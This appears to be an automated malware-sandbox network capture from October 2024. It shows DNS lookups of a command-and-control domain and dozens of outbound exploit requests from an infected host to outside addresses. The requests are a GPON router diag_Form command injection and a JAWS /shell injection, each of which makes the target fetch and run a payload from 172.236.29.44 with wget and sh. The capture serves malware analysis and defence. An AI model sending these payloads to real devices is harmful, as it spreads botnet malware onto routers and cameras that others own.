Oct 17, 2024 02:20:52.979571104 CEST	8.8.8.8	192.168.2.14	0xcc4a	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:20:52.979571104 CEST	8.8.8.8	192.168.2.14	0xcc4a	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:01.482574940 CEST	8.8.8.8	192.168.2.14	0xd53a	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:01.482574940 CEST	8.8.8.8	192.168.2.14	0xd53a	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:01.500452995 CEST	8.8.8.8	192.168.2.14	0xd9a1	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:01.500452995 CEST	8.8.8.8	192.168.2.14	0xd9a1	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:02.347291946 CEST	8.8.8.8	192.168.2.14	0x91e0	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:02.347291946 CEST	8.8.8.8	192.168.2.14	0x91e0	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:10.848912001 CEST	8.8.8.8	192.168.2.14	0xc641	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:10.848912001 CEST	8.8.8.8	192.168.2.14	0xc641	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:19.342648983 CEST	8.8.8.8	192.168.2.14	0x3d80	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:19.342648983 CEST	8.8.8.8	192.168.2.14	0x3d80	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:27.845520020 CEST	8.8.8.8	192.168.2.14	0x21eb	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:27.845520020 CEST	8.8.8.8	192.168.2.14	0x21eb	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:28.680541992 CEST	8.8.8.8	192.168.2.14	0x4f9b	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:28.680541992 CEST	8.8.8.8	192.168.2.14	0x4f9b	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:29.529552937 CEST	8.8.8.8	192.168.2.14	0x501	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:29.529552937 CEST	8.8.8.8	192.168.2.14	0x501	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.036004066 CEST	8.8.8.8	192.168.2.14	0xe54c	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.036004066 CEST	8.8.8.8	192.168.2.14	0xe54c	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.056052923 CEST	8.8.8.8	192.168.2.14	0x6da7	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.056052923 CEST	8.8.8.8	192.168.2.14	0x6da7	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.078893900 CEST	8.8.8.8	192.168.2.14	0xbf32	No error (0)	plutoc2.site	172.236.29.44	A (IP address)	IN (0x0001)	false
Oct 17, 2024 02:21:38.078893900 CEST	8.8.8.8	192.168.2.14	0xbf32	No error (0)	plutoc2.site	92.249.48.84	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	48374	117.184.202.170	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:41.137129068 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	55030	212.14.178.114	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:41.137305021 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	45754	94.254.142.163	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:41.137312889 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	52518	210.223.79.232	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:41.137352943 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	37296	212.201.183.181	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:41.137398005 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	36426	109.224.137.146	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:41.137443066 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	35546	37.151.27.138	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:41.137506008 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	45080	109.86.235.87	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:42.120177031 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	59524	2.168.41.147	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:42.151169062 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	33854	94.143.132.188	443

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:42.151184082 CEST	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	39766	174.24.2.27	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.004225969 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	41198	96.128.202.170	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.008336067 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	51290	27.147.76.225	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.013032913 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	55720	206.61.33.79	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.017041922 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	60586	155.202.61.115	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.020112991 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	36908	131.123.125.247	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.023926973 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	49670	151.92.33.61	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.027014971 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	53778	199.4.155.168	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.031490088 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	50640	89.205.249.27	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.034343958 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	55348	196.201.9.128	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.037888050 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	58536	65.149.139.140	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.041042089 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	47256	8.195.166.159	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.044634104 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	51788	94.8.190.200	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.047741890 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	57006	107.222.113.58	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.052414894 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	42770	36.46.127.250	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.055910110 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	39670	119.43.17.98	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.060168028 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	40230	57.222.88.137	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.063534975 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	33948	35.45.188.242	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.069302082 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	56104	66.119.106.113	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.072967052 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	48658	34.50.168.128	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.076953888 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	37346	74.67.187.229	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.080414057 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	60416	143.90.220.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.086515903 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	34644	176.113.27.165	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.113003969 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	34536	104.67.111.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.147631884 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	53526	175.135.73.178	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.283677101 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	48364	174.27.117.70	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.348968983 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	43248	173.138.120.251	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.352554083 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	51180	17.54.164.225	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.356874943 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	59064	198.90.180.54	80

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 02:19:43.371567965 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	37682	197.8.130.27	37215

Timestamp	Bytes transferred	Direction	Data
